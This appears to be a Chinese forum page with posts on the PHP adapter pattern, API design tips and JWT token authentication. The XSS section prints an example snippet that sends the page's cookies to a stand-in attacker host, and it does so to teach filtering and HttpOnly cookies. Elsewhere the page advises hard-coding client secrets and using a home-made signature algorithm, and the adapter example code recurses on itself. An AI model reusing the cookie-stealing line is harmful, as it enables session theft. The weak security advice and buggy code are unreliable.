适配器模式核心思想:把对某些相似的类的操作转化为一个统一的“接口”(这里是比喻的说话)--适配器,或者比喻为一个“界面”,统一或屏蔽了那些类的细节。适配器模式还构造了一种“机制”,使“适配”的类可以很容易的增减,而不用修改与适配器交互的代码,符合“减少代码间耦合”的设计原则。

      以上 查看全部
在这个有没有对象都要高呼“面向对象”的年代,掌握面向对象会给我们带来意想不到的方便。学编程的小伙伴从开始能写几行代码实现简单功能到后来懂得将一些重复的操作组合起来形成一个“函数”,再到后来将“函数”和属性组合起来形成一个“类”。一步步走来,我们在考虑着机器运行代码效率的提高的同时也在考虑减轻程序员的工作量。 那么我们今天讲到的适配器模型更着重考虑的是什么呢?


是程序员工作量。


 
timg_(4).jpg


什么时候会用到适配器模式?

其实最简单的例子是当我们引用一个第三方类库。这个类库随着版本的改变,它提供的API也可能会改变。如果很不幸的是,你的应用里引用的某个API已经发生改变的时候,除了在心中默默地骂“wocao”之外,你还得去硬着头皮去改大量的代码。 

难道真的一定要如此吗?按照套路来说,我会回答“不是的”。我们有适配器模式啊~~  

当接口发生改变时,适配器模式就派上了用场。

举个栗子

如果通过上面的简单描述,你都能懂,那在下只能佩服你的领悟能力超群了。一般人一定还是不知所云。为了方便理解,我引用一位博友的例子。原文地址

一开始的和谐


黑枣玩具公司专门生产玩具,生产的玩具不限于狗、猫、狮子,鱼等动物。每个玩具都可以进行“张嘴”与“闭嘴”操作,分别调用了openMouth与closeMouth方法。

在这个时候,我们很容易想到可以第一定义一个抽象类Toy,甚至是接口Toy,这些问题不大,其他的类去继承父类,实现父类的方法。一片和谐,欣欣向荣。

平衡的破坏

    为了扩大业务,现在黑枣玩具公司与红枣遥控公司合作,红枣遥控公司可以使用遥控设备对动物进行嘴巴控制。不过红枣遥控公司的遥控设备是调用的动物的doMouthOpen及doMouthClose方法。黑枣玩具公司的程序员现在必须要做的是对Toy系列类进行升级改造,使Toy能调用doMouthOpen及doMouthClose方法。

考虑实现的方法时,我们很直接地想到,你需要的话我再在我的父类子类里给你添加这么两个方法就好啦。当你一次又一次在父类子类里面重复添加着这两个方法的时候,总会想着如此重复的工作,难道不能解决么?当有数百个子类的时候,程序员会改疯的。程序员往往比的是谁在不影响效率的时候更会“偷懒”。这样做下去程序员会觉得自己很傻。(其实我经常当这样的傻子)
abstract class Toy
{
public abstract function openMouth();

public abstract function closeMouth();

//为红枣遥控公司控制接口增加doMouthOpen方法
public abstract function doMouthOpen();

//为红枣遥控公司控制接口增加doMouthClose方法
public abstract function doMouthClose();
}

class Dog extends Toy
{
public function openMouth()
{
echo "Dog open Mouth\n";
}

public function closeMouth()
{
echo "Dog open Mouth\n";
}

//增加的方法
public function doMouthOpen()
{
$this->doMouthOpen();
}

//增加的方法
public function doMouthClose()
{
$this->closeMouth();
}
}

class Cat extends Toy
{
public function openMouth()
{
echo "Cat open Mouth\n";
}

public function closeMouth()
{
echo "Cat open Mouth\n";
}

//增加的方法
public function doMouthOpen()
{
$this->doMouthOpen();
}

//增加的方法
public function doMouthClose()
{
$this->closeMouth();
}
}
更加烦躁

程序员刚刚码完代码,喝了口水,突然间另一个消息传来。

黑枣玩具公司也要与绿枣遥控公司合作,因为绿枣遥控公司遥控设备更便宜稳定。不过绿枣遥控公司的遥控设备是调用的动物的operMouth(type)方法来实现嘴巴控制。如果type)方法来实现嘴巴控制。如果type为0则“闭嘴”,反之张嘴。

这下好了,程序员又得对Toy及其子类进行升级,使Toy能调用operMouth()方法。搁谁都不淡定了。
abstract class Toy  
{
public abstract function openMouth();

public abstract function closeMouth();

public abstract function doMouthOpen();

public abstract function doMouthClose();

//为绿枣遥控公司控制接口增加doMouthClose方法
public abstract function operateMouth($type = 0);
}

class Dog extends Toy
{
public function openMouth()
{
echo "Dog open Mouth\n";
}

public function closeMouth()
{
echo "Dog open Mouth\n";
}

public function doMouthOpen()
{
$this->doMouthOpen();
}

public function doMouthClose()
{
$this->closeMouth();
}

public function operateMouth($type = 0)
{
if ($type == 0) {
$this->closeMouth();
} else {
$this->operateMouth();
}
}
}

class Cat extends Toy
{
public function openMouth()
{
echo "Cat open Mouth\n";
}

public function closeMouth()
{
echo "Cat open Mouth\n";
}

public function doMouthOpen()
{
$this->doMouthOpen();
}

public function doMouthClose()
{
$this->closeMouth();
}

public function operateMouth($type = 0)
{
if ($type == 0) {
$this->closeMouth();
} else {
$this->operateMouth();
}
}
}
在这个时候,程序员必须要动脑子想办法了,就算自己勤快,万一哪天紫枣青枣黄枣山枣这些遥控公司全来的时候,忽略自己不断增多的工作量不说,这个Toy类可是越来越大,总有一天程序员不崩溃,系统也会崩溃。

问题在出在哪里呢?

像上面那样编写代码,代码实现违反了“开-闭”原则一个软件实体应当对扩展开放,对修改关闭。即在设计一个模块的时候,应当使这个模块可以在不被修改的前提下被扩展。也就是说每个尸体都是一个小王国,你让我参与你的事情这个可以,但你不能修改我的内部,除非我的内部代码确实可以优化。

在这种想法下,我们懂得了如何去用继承,如何利用多态,甚至如何实现“高内聚,低耦合”。

回到这个问题,我们现在面临这么一个问题,新的接口方法我要实现,旧的接口(Toy抽象类)也不能动,那么总得有个解决方法吧。那就是引入一个新的类--我们本文的主角--适配器。  适配器要完成的功能很明确,引用现有接口的方法实现新的接口的方法。更像它名字描述的那样,你的接口不改的话,我就利用现有接口和你对接一下吧。 

到此,解决方法已经呼之欲出了,下面贴上代码。
<?php
abstract class Toy
{
public abstract function openMouth();

public abstract function closeMouth();
}

class Dog extends Toy
{
public function openMouth()
{
echo "Dog open Mouth\n";
}

public function closeMouth()
{
echo "Dog close Mouth\n";
}
}

class Cat extends Toy
{
public function openMouth()
{
echo "Cat open Mouth\n";
}

public function closeMouth()
{
echo "Cat close Mouth\n";
}
}


//目标角色:红枣遥控公司
interface RedTarget
{
public function doMouthOpen();

public function doMouthClose();
}

//目标角色:绿枣遥控公司及
interface GreenTarget
{
public function operateMouth($type = 0);
}


//类适配器角色:红枣遥控公司
class RedAdapter implements RedTarget
{
private $adaptee;

function __construct(Toy $adaptee)
{
$this->adaptee = $adaptee;
}

//委派调用Adaptee的sampleMethod1方法
public function doMouthOpen()
{
$this->adaptee->openMouth();
}

public function doMouthClose()
{
$this->adaptee->closeMouth();
}
}

//类适配器角色:绿枣遥控公司
class GreenAdapter implements GreenTarget
{
private $adaptee;

function __construct(Toy $adaptee)
{
$this->adaptee = $adaptee;
}

//委派调用Adaptee:GreenTarget的operateMouth方法
public function operateMouth($type = 0)
{
if ($type) {
$this->adaptee->openMouth();
} else {
$this->adaptee->closeMouth();
}
}
}



class testDriver
{
public function run()
{
//实例化一只狗玩具
$adaptee_dog = new Dog();
echo "给狗套上红枣适配器\n";
$adapter_red = new RedAdapter($adaptee_dog);
//张嘴
$adapter_red->doMouthOpen();
//闭嘴
$adapter_red->doMouthClose();
echo "给狗套上绿枣适配器\n";
$adapter_green = new GreenAdapter($adaptee_dog);
//张嘴
$adapter_green->operateMouth(1);
//闭嘴
$adapter_green->operateMouth(0);
}
}

$test = new testDriver();
$test->run();

 最后的结果就是,Toy类及其子类在不改变自身的情况下,通过适配器实现了不同的接口。

最后总结

将一个类的接口转换成客户希望的另外一个接口,使用原本不兼容的而不能在一起工作的那些类可以在一起工作.

适配器模式核心思想:把对某些相似的类的操作转化为一个统一的“接口”(这里是比喻的说话)--适配器,或者比喻为一个“界面”,统一或屏蔽了那些类的细节。适配器模式还构造了一种“机制”,使“适配”的类可以很容易的增减,而不用修改与适配器交互的代码,符合“减少代码间耦合”的设计原则。

      以上

API接口设计需要注意问题

zkbhj 发表了文章 • 0 个评论 • 315 次浏览 • 2018-01-15 10:39 • 来自相关话题

总结一下API接口开发过程中的注意事项

1、跨平台性

所谓跨平台是指我们的接口要能够支持不同的终端,比如Android、iOS、windowsphone以及桌面软件、网站等。如:不同的终端每页显示的记录数不同

采用通用的解决方案,比如通信协议就采用最常用的HTTP协议,如果是即时通信,可以采用开放的XMPP协议,做游戏的可以采用可靠的TCP协议,除非TCP不够用了,再采用定制的UDP协议。
数据交换采用xml或者json格式或者webservice等等。总之,要达到的目标就是让不同的端能够很方便的使用你的接口。

2、良好的响应速度

接口应该以最快的速度将数据返回给请求者,要达到的目标就是快,一个页面,秒开最好,超过三秒就需要找找原因了。数据量按需分配,APP客户端需要什么数据就返回什么数据,过多的数据量影响处理速度,最重要的是影响传输效率

3、接口要为移动客户端考虑

比如,在移动端里,下拉刷新和上拉加载更多是很常见的功能,如果接口仍然按照传统的web思路,只提供按页读取的话,就会造成移动端的额外的数据请求和计算。 这时,接口就应该针对这两种类型的操作提供额外的支持。

4、考虑移动端的网络情况和耗电量
如果让我们说出哪类app比较好,可能还不大好说,但是如果让我们说出哪些app很差,我们肯定会说出那些体积很大、占用内存多、界面很卡、费电的app 不好。对于网络情况,接口应该具备为不同的网络提供不同的内容的能力如果我们能够知道用户的网络情况,只有在wifi的情况下才给用户传输封面图、缩略图 之类的,是不是可以帮用户节省很多流量呢

 5、通用的数据交换格式

目前,对于接口和客户端的数据交换格式,基本上就是三种,xml和json和webservice,而现在使用json的应该占大多数最麻烦的就是处理Date类型,因为JSON本身没有Date类型,因此,JSON库将Date类型的数据序列化时会转为String。这时,不同环境, 不同平台,以及用不同的JSON解析库,转换后的结果经常会不同。比如,你在开发机上可能得到的结果是”2016-1-1 17:11:11”,但放到服务器后结果却变成了“Jan 1,2016 5:11:11 PM” ,客户端进行反序列化时无疑会失败。后来,我取消了所有Date类型,统一采用时间戳表示,就再没有转化的烦恼了。 另外,接口的开发人员有时候会将一些数据错误地转换为了String,导致客户端使用时因类型错误而异常。例如,本来是数字的1,被转成 了"1",客户端做运算时就会出错,或用switch判断时也会出错,或其他无法转换的情况发生时;例如,为空时JSON正确地表示应该是null,但如 果转为了String就变成了"null",那问题就来了,我遇到的因为这个错误的转换导致的程序奔溃已经好几次了,第一次的时候,查了一整天才定位到问题所在


6、接口统计功能

在做PC端网站的时候,我们都会给我们的网站加上个统计功能,要么自己写统计系统,要么使用第三方的比如GA
移动端接口API则需要我们自己实现统计功能,这时就需要我们尽可能多的收集客户端的信息,除了传统的IP、User-Agent之外,还应该收集一些移动 相关的信息,比如手机操作系统,是android还是ios,都是什么版本,用户使用的网络状况,是2G、3G、4G还是WIFI。客户端APP是什么版 本信息。

7、客户端与服务端的肥瘦平衡

在移动开发中,由于客户端的修改会很费时费力,特 别是IOS应用还要经过Apple审核,另外,当前IOS开发人员、Android开发人员的人工成本普遍较高,人才紧缺,基于这两点,能在服务器端实现 的功能就不要放在客户端,毕竟服务器端程序的修改要比客户端方便、灵活、快捷的多。

8、隐式用户与显式用户

显式用户指的是,APP程序中有用户系统,一个username、password正确的合法用户,称之为显式的用户,通常显式用户都需要注册,登录以后能完成一些个人相关的操作。
隐式用户指的是,APP程序本身就没有用户系统,或者一个在没有登录的情况下,使用我们APP的用户。
在这种情况下,可以通过客户端生成的UDID来标识一个用户。
有了用户信息,我们就能够了解不同用户的使用习惯,而不仅仅是全体用户的一个整体的统计信息,
有了这些个体的信息之后,就可以做一些用户分群、个性化推荐之类的事情。

9、安全问题
设计API第一个需要考虑的是API的安全机制。我负责的上一个项目,因为API的安全问题,就被人攻击了两次。之后经过分析,主要存在两个漏洞: 一是因 为缺少对调用者进行安全验证的方式,二是因为数据传输不够安全。那么,制定API的安全机制,主要就是为了解决这两个问题:
保证API的调用者是经过自己授权的App;保证数据传输的安全。
 
第一个问题的解决方案,我主要采用设计签名的方式。对每个客户端分别分配一个AppKey和AppSecret。需要调用API时,将AppKey加入请求参数列表,并将AppSecret和所有参数一起,根据某种签名算法生成一个签名字符串,然后调用API时把该签名字符串也一起带上。服务端收到请求之后,根据请求中的AppKey查询相应的AppSecret,按照同样的签名算法,也生成一个签名字符串,当服务端生成的签名和请求带过来的签名一致的时候,那就表示这个请求的调用者是经过自己授权的,证明这个请求是安全的。而且,每个端都有一个Key,也方便不同端的标识和统计。为了防止AppSecret被别人获取,这个AppSecret一般写死在代码里面。另外,签名算法也需要有一定的复杂度,不能轻易被别人破解,最好是采用自己规 定的一套签名算法,而不是采用外部公开的签名算法。另外,在参数列表中再加入一个时间戳,还可以防止部分重放攻击。
第二个问题的解决方案,主要就是采用 HTTPS了。HTTPS因为添加了SSL安全协议,自动对请求数据进行了压缩加密,在一定程序可以防止监听、防止劫持、防止重发,主要就是防止中间人攻击。因此,为了安全考虑,建议对SSL证书进行强校验,包括签名CA是否合法、域名是否匹配、是不是自签名证书、证书是否过期等。
接口不能直接调用OAuth认证(rsa加密),ip白名单接口的安全工作不能马虎,暴力破解啊、SQL Injection啊、伪造请求和数据啊、重复提交啊也要考虑到,

如果数据特别敏感,可以考虑采用SSL/TLS等加密传输,或者客户端、服务器端约定一个加密算法和密钥,对来往传输的数据进行加密、解密。如将所有参数加签名算法得到一个签名验证参数sign。表单类接口防止重复提交:调用过的接口sign存起来,检查sign是否存在

10、良好的接口说明文档和测试程序

接口文档要清晰、明了,包含多少个接口,每个接口的地址、参数、请求方式、数据交换格式、参数是否必填、编码格式UTF8,返回值等都要写清楚。
接口测试程序,有条件的话,也可以提供,方便前后端的调试
 11、版本的维护

随着业务的变化,客户端APP和服务器端API都会发生变化,增加新的功能,修改已有的功能,
增加功能还好说, 如果是接口需要修改,那么就面临着同一个接口要同时为不同版本的客户端服务的问题。
因此,服务器端接口也要做好相应的版本维护。主版本更新可以把版本号放入API的URL中/api-v2来指出所使用的API版本
次要版本的修改是通过客户在API调用时发起请求的HTTP头部做指定的头部的版本元素看起来是这样的:
Element-Version: 1

12、接口数据、状态

接口必须提供明确的数据状态信息,不管是成功的,还是失败的,都必须返回给APP客户端。

13、接口、参数命名准确。

无论是接口还是参数,命名都应该有意义,让人一目了然。接口调试技巧前提必须放在外网上
1》服务端return 调试信息,客户端调用并显示结果,

2》在服务端将结果保存成文件在打开文件查看,即日志型调试(或建临时表放在数据库表里)

考虑突然断网或接口信息返回超时异常情况的业务处理(先扣金额更新状态,如有问题自动返回)

支付宝
<span style="font-size: 14px;">$alipaySubmit = new AlipaySubmit($alipay_config);
$url = $alipaySubmit->alipay_gateway_new.$alipaySubmit->buildRequestParaToString($parameter);
header("Location: {$url}");</span> 原文:https://yq.aliyun.com/articles/42692 查看全部
总结一下API接口开发过程中的注意事项

1、跨平台性

所谓跨平台是指我们的接口要能够支持不同的终端,比如Android、iOS、windowsphone以及桌面软件、网站等。如:不同的终端每页显示的记录数不同

采用通用的解决方案,比如通信协议就采用最常用的HTTP协议,如果是即时通信,可以采用开放的XMPP协议,做游戏的可以采用可靠的TCP协议,除非TCP不够用了,再采用定制的UDP协议。
数据交换采用xml或者json格式或者webservice等等。总之,要达到的目标就是让不同的端能够很方便的使用你的接口。

2、良好的响应速度

接口应该以最快的速度将数据返回给请求者,要达到的目标就是快,一个页面,秒开最好,超过三秒就需要找找原因了。数据量按需分配,APP客户端需要什么数据就返回什么数据,过多的数据量影响处理速度,最重要的是影响传输效率

3、接口要为移动客户端考虑

比如,在移动端里,下拉刷新和上拉加载更多是很常见的功能,如果接口仍然按照传统的web思路,只提供按页读取的话,就会造成移动端的额外的数据请求和计算。 这时,接口就应该针对这两种类型的操作提供额外的支持。

4、考虑移动端的网络情况和耗电量
如果让我们说出哪类app比较好,可能还不大好说,但是如果让我们说出哪些app很差,我们肯定会说出那些体积很大、占用内存多、界面很卡、费电的app 不好。对于网络情况,接口应该具备为不同的网络提供不同的内容的能力如果我们能够知道用户的网络情况,只有在wifi的情况下才给用户传输封面图、缩略图 之类的,是不是可以帮用户节省很多流量呢

 5、通用的数据交换格式

目前,对于接口和客户端的数据交换格式,基本上就是三种,xml和json和webservice,而现在使用json的应该占大多数最麻烦的就是处理Date类型,因为JSON本身没有Date类型,因此,JSON库将Date类型的数据序列化时会转为String。这时,不同环境, 不同平台,以及用不同的JSON解析库,转换后的结果经常会不同。比如,你在开发机上可能得到的结果是”2016-1-1 17:11:11”,但放到服务器后结果却变成了“Jan 1,2016 5:11:11 PM” ,客户端进行反序列化时无疑会失败。后来,我取消了所有Date类型,统一采用时间戳表示,就再没有转化的烦恼了。 另外,接口的开发人员有时候会将一些数据错误地转换为了String,导致客户端使用时因类型错误而异常。例如,本来是数字的1,被转成 了"1",客户端做运算时就会出错,或用switch判断时也会出错,或其他无法转换的情况发生时;例如,为空时JSON正确地表示应该是null,但如 果转为了String就变成了"null",那问题就来了,我遇到的因为这个错误的转换导致的程序奔溃已经好几次了,第一次的时候,查了一整天才定位到问题所在


6、接口统计功能

在做PC端网站的时候,我们都会给我们的网站加上个统计功能,要么自己写统计系统,要么使用第三方的比如GA
移动端接口API则需要我们自己实现统计功能,这时就需要我们尽可能多的收集客户端的信息,除了传统的IP、User-Agent之外,还应该收集一些移动 相关的信息,比如手机操作系统,是android还是ios,都是什么版本,用户使用的网络状况,是2G、3G、4G还是WIFI。客户端APP是什么版 本信息。

7、客户端与服务端的肥瘦平衡

在移动开发中,由于客户端的修改会很费时费力,特 别是IOS应用还要经过Apple审核,另外,当前IOS开发人员、Android开发人员的人工成本普遍较高,人才紧缺,基于这两点,能在服务器端实现 的功能就不要放在客户端,毕竟服务器端程序的修改要比客户端方便、灵活、快捷的多。

8、隐式用户与显式用户

显式用户指的是,APP程序中有用户系统,一个username、password正确的合法用户,称之为显式的用户,通常显式用户都需要注册,登录以后能完成一些个人相关的操作。
隐式用户指的是,APP程序本身就没有用户系统,或者一个在没有登录的情况下,使用我们APP的用户。
在这种情况下,可以通过客户端生成的UDID来标识一个用户。
有了用户信息,我们就能够了解不同用户的使用习惯,而不仅仅是全体用户的一个整体的统计信息,
有了这些个体的信息之后,就可以做一些用户分群、个性化推荐之类的事情。

9、安全问题
设计API第一个需要考虑的是API的安全机制。我负责的上一个项目,因为API的安全问题,就被人攻击了两次。之后经过分析,主要存在两个漏洞: 一是因 为缺少对调用者进行安全验证的方式,二是因为数据传输不够安全。那么,制定API的安全机制,主要就是为了解决这两个问题:
  • 保证API的调用者是经过自己授权的App;
  • 保证数据传输的安全。

 
第一个问题的解决方案,我主要采用设计签名的方式。对每个客户端分别分配一个AppKey和AppSecret。需要调用API时,将AppKey加入请求参数列表,并将AppSecret和所有参数一起,根据某种签名算法生成一个签名字符串,然后调用API时把该签名字符串也一起带上。服务端收到请求之后,根据请求中的AppKey查询相应的AppSecret,按照同样的签名算法,也生成一个签名字符串,当服务端生成的签名和请求带过来的签名一致的时候,那就表示这个请求的调用者是经过自己授权的,证明这个请求是安全的。而且,每个端都有一个Key,也方便不同端的标识和统计。为了防止AppSecret被别人获取,这个AppSecret一般写死在代码里面。另外,签名算法也需要有一定的复杂度,不能轻易被别人破解,最好是采用自己规 定的一套签名算法,而不是采用外部公开的签名算法。另外,在参数列表中再加入一个时间戳,还可以防止部分重放攻击。
第二个问题的解决方案,主要就是采用 HTTPS了。HTTPS因为添加了SSL安全协议,自动对请求数据进行了压缩加密,在一定程序可以防止监听、防止劫持、防止重发,主要就是防止中间人攻击。因此,为了安全考虑,建议对SSL证书进行强校验,包括签名CA是否合法、域名是否匹配、是不是自签名证书、证书是否过期等。
接口不能直接调用OAuth认证(rsa加密),ip白名单接口的安全工作不能马虎,暴力破解啊、SQL Injection啊、伪造请求和数据啊、重复提交啊也要考虑到,

如果数据特别敏感,可以考虑采用SSL/TLS等加密传输,或者客户端、服务器端约定一个加密算法和密钥,对来往传输的数据进行加密、解密。如将所有参数加签名算法得到一个签名验证参数sign。表单类接口防止重复提交:调用过的接口sign存起来,检查sign是否存在

10、良好的接口说明文档和测试程序

接口文档要清晰、明了,包含多少个接口,每个接口的地址、参数、请求方式、数据交换格式、参数是否必填、编码格式UTF8,返回值等都要写清楚。
接口测试程序,有条件的话,也可以提供,方便前后端的调试
 11、版本的维护

随着业务的变化,客户端APP和服务器端API都会发生变化,增加新的功能,修改已有的功能,
增加功能还好说, 如果是接口需要修改,那么就面临着同一个接口要同时为不同版本的客户端服务的问题。
因此,服务器端接口也要做好相应的版本维护。主版本更新可以把版本号放入API的URL中/api-v2来指出所使用的API版本
次要版本的修改是通过客户在API调用时发起请求的HTTP头部做指定的头部的版本元素看起来是这样的:
Element-Version: 1

12、接口数据、状态

接口必须提供明确的数据状态信息,不管是成功的,还是失败的,都必须返回给APP客户端。

13、接口、参数命名准确。

无论是接口还是参数,命名都应该有意义,让人一目了然。接口调试技巧前提必须放在外网上
1》服务端return 调试信息,客户端调用并显示结果,

2》在服务端将结果保存成文件在打开文件查看,即日志型调试(或建临时表放在数据库表里)

考虑突然断网或接口信息返回超时异常情况的业务处理(先扣金额更新状态,如有问题自动返回)

支付宝
<span style="font-size: 14px;">$alipaySubmit = new AlipaySubmit($alipay_config);  
$url = $alipaySubmit->alipay_gateway_new.$alipaySubmit->buildRequestParaToString($parameter);
header("Location: {$url}");</span>
原文:https://yq.aliyun.com/articles/42692

基于Token的WEB后台认证机制解析

zkbhj 发表了文章 • 0 个评论 • 252 次浏览 • 2017-12-28 17:12 • 来自相关话题

先来认识几种常用的认证机制:
HTTP Basic Auth

HTTP Basic Auth简单点说明就是每次请求API时都提供用户的username和password,简言之,Basic Auth是配合RESTful API 使用的最简单的认证方式,只需提供用户名密码即可,但由于有把用户名密码暴露给第三方客户端的风险,在生产环境下被使用的越来越少。因此,在开发对外开放的RESTful API时,尽量避免采用HTTP Basic Auth

OAuth

OAuth(开放授权)是一个开放的授权标准,允许用户让第三方应用访问该用户在某一web服务上存储的私密的资源(如照片,视频,联系人列表),而无需将用户名和密码提供给第三方应用。

OAuth允许用户提供一个令牌,而不是用户名和密码来访问他们存放在特定服务提供者的数据。每一个令牌授权一个特定的第三方系统(例如,视频编辑网站)在特定的时段(例如,接下来的2小时内)内访问特定的资源(例如仅仅是某一相册中的视频)。这样,OAuth让用户可以授权第三方网站访问他们存储在另外服务提供者的某些特定信息,而非所有内容
下面是OAuth2.0的流程:





这种基于OAuth的认证机制适用于个人消费者类的互联网产品,如社交类APP等应用,但是不太适合拥有自有认证权限管理的企业应用;
 
Cookie Auth
 
Cookie认证机制就是为一次请求认证在服务端创建一个Session对象,同时在客户端的浏览器端创建了一个Cookie对象;通过客户端带上来Cookie对象来与服务器端的session对象匹配来实现状态管理的。默认的,当我们关闭浏览器的时候,cookie会被删除。但可以通过修改cookie 的expire time使cookie在一定时间内有效;

Token Auth





 
Token Auth的优点

Token机制相对于Cookie机制又有什么好处呢? 
支持跨域访问: Cookie是不允许垮域访问的,这一点对Token机制是不存在的,前提是传输的用户认证信息通过HTTP头传输.无状态(也称:服务端可扩展行):Token机制在服务端不需要存储session信息,因为Token 自身包含了所有登录用户的信息,只需要在客户端的cookie或本地介质存储状态信息.更适用CDN: 可以通过内容分发网络请求你服务端的所有资料(如:javascript,HTML,图片等),而你的服务端只要提供API即可.去耦: 不需要绑定到一个特定的身份验证方案。Token可以在任何地方生成,只要在你的API被调用的时候,你可以进行Token生成调用即可.更适用于移动应用: 当你的客户端是一个原生平台(iOS, Android,Windows 8等)时,Cookie是不被支持的(你需要通过Cookie容器进行处理),这时采用Token认证机制就会简单得多。CSRF:因为不再依赖于Cookie,所以你就不需要考虑对CSRF(跨站请求伪造)的防范。性能: 一次网络往返时间(通过数据库查询session信息)总比做一次HMACSHA256计算 的Token验证和解析要费时得多.不需要为登录页面做特殊处理: 如果你使用Protractor 做功能测试的时候,不再需要为登录页面做特殊处理.基于标准化:你的API可以采用标准化的 JSON Web Token (JWT). 这个标准已经存在多个后端库(.NET, Ruby, Java,Python, PHP)和多家公司的支持(如:Firebase,Google, Microsoft).
 
基于JWT的Token认证机制实现

JSON Web Token(JWT)是一个非常轻巧的规范。这个规范允许我们使用JWT在用户和服务器之间传递安全可靠的信息。

JWT的组成

一个JWT实际上就是一个字符串,它由三部分组成,头部、载荷与签名。

载荷(Payload)
{ "iss": "Online JWT Builder",
"iat": 1416797419,
"exp": 1448333419,
"aud": "www.example.com",
"sub": "jrocket@example.com",
"GivenName": "Johnny",
"Surname": "Rocket",
"Email": "jrocket@example.com",
"Role": [ "Manager", "Project Administrator" ]
}
iss: 该JWT的签发者,是否使用是可选的;sub: 该JWT所面向的用户,是否使用是可选的;aud: 接收该JWT的一方,是否使用是可选的;exp(expires): 什么时候过期,这里是一个Unix时间戳,是否使用是可选的;iat(issued at): 在什么时候签发的(UNIX时间),是否使用是可选的;其他还有:nbf (Not Before):如果当前时间在nbf里的时间之前,则Token不被接受;一般都会留一些余地,比如几分钟;,是否使用是可选的;
 
上面的JSON对象进行[base64编码]可以得到下面的字符串。这个字符串我们将它称作JWT的Payload(载荷)。
eyJpc3MiOiJKb2huIFd1IEpXVCIsImlhdCI6MTQ0MTU5MzUwMiwiZXhwIjoxNDQxNTk0NzIyLCJhdWQiOiJ3d3cuZXhhbXBsZS5jb20iLCJzdWIiOiJqcm9ja2V0QGV4YW1wbGUuY29tIiwiZnJvbV91c2VyIjoiQiIsInRhcmdldF91c2VyIjoiQSJ9小知识:什么是base64编码?
 
头部(Header)

JWT还需要一个头部,头部用于描述关于该JWT的最基本的信息,例如其类型以及签名所用的算法等。这也可以被表示成一个JSON对象。
{
"typ": "JWT",
"alg": "HS256"
}在头部指明了签名算法是HS256算法。
当然头部也要进行BASE64编码,编码后的字符串如下:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9签名(Signature)
将上面的两个编码后的字符串都用句号.连接在一起(头部在前),就形成了:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0最后,我们将上面拼接完的字符串用HS256算法进行加密。在加密的时候,我们还需要提供一个密钥(secret)。如果我们用mystar作为密钥的话,那么就可以得到我们加密后的内容:
rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM最后将这一部分签名也拼接在被签名的字符串后面,我们就得到了完整的JWT:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM在我们的请求URL中会带上这串JWT字符串:https://your.awesome-app.com/make-friend/?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM认证过程

下面我们从一个实例来看如何运用JWT机制实现认证:

登录 
第一次认证:第一次登录,用户从浏览器输入用户名/密码,提交后到服务器的登录处理的Action层(Login Action);Login Action调用认证服务进行用户名密码认证,如果认证通过,Login Action层调用用户信息服务获取用户信息(包括完整的用户信息及对应权限信息);返回用户信息后,Login Action从配置文件中获取Token签名生成的秘钥信息,进行Token的生成;生成Token的过程中可以调用第三方的JWT Lib生成签名后的JWT数据;完成JWT数据签名后,将其设置到COOKIE对象中,并重定向到首页,完成登录过程;

请求认证

基于Token的认证机制会在每一次请求中都带上完成签名的Token信息,这个Token信息可能在COOKIE中,也可能在HTTP的Authorization头中;
 
客户端(APP客户端或浏览器)通过GET或POST请求访问资源(页面或调用API);认证服务作为一个Middleware HOOK 对请求进行拦截,首先在cookie中查找Token信息,如果没有找到,则在HTTP Authorization Head中查找;如果找到Token信息,则根据配置文件中的签名加密秘钥,调用JWT Lib对Token信息进行解密和解码;完成解码并验证签名通过后,对Token中的exp、nbf、aud等信息进行验证;全部通过后,根据获取的用户的角色权限信息,进行对请求的资源的权限逻辑判断;如果权限逻辑判断通过则通过Response对象返回;否则则返回HTTP 401;

对Token认证的五点认识

对Token认证机制有5点直接注意的地方: 
一个Token就是一些信息的集合;在Token中包含足够多的信息,以便在后续请求中减少查询数据库的几率;服务端需要对cookie和HTTP Authrorization Header进行Token信息的检查;基于上一点,你可以用一套token认证代码来面对浏览器类客户端和非浏览器类客户端;因为token是被签名的,所以我们可以认为一个可以解码认证通过的token是由我们系统发放的,其中带的信息是合法有效的;
 
基于JWT的Token认证的安全问题
 
确保验证过程的安全性

如何保证用户名/密码验证过程的安全性;因为在验证过程中,需要用户输入用户名和密码,在这一过程中,用户名、密码等敏感信息需要在网络中传输。因此,在这个过程中建议采用HTTPS,通过SSL加密传输,以确保通道的安全性。

如何防范XSS Attacks

浏览器可以做很多事情,这也给浏览器端的安全带来很多隐患,最常见的如:XSS攻击:跨站脚本攻击(Cross Site Scripting);如果有个页面的输入框中允许输入任何信息,且没有做防范措施,如果我们输入下面这段代码:
<img src="x" /> a.src='https1//hackmeplz.com/yourCookies.png/?cookies=’
+document.cookie;return a}())"这段代码会盗取你域中的所有cookie信息,并发送到 hackmeplz.com;那么我们如何来防范这种攻击呢?
 
XSS攻击代码过滤
移除任何会导致浏览器做非预期执行的代码,这个可以采用一些库来实现(如:js下的js-xss,JAVA下的XSS HTMLFilter,PHP下的TWIG);如果你是将用户提交的字符串存储到数据库的话(也针对SQL注入攻击),你需要在前端和服务端分别做过滤;
 
采用HTTP-Only Cookies
通过设置Cookie的参数: HttpOnly; Secure 来防止通过JavaScript 来访问Cookie;
如何在Java中设置cookie是HttpOnly呢?
Servlet 2.5 API 不支持 cookie设置HttpOnly
http://docs.oracle.com/cd/E178 ... -mr2/
建议升级Tomcat7.0,它已经实现了Servlet3.0
http://tomcat.apache.org/tomca ... .html
或者通过这样来设置:
//设置cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");

//设置多个cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");
response.addHeader("Set-Cookie", "timeout=30; Path=/test; HttpOnly");

//设置https的cookie
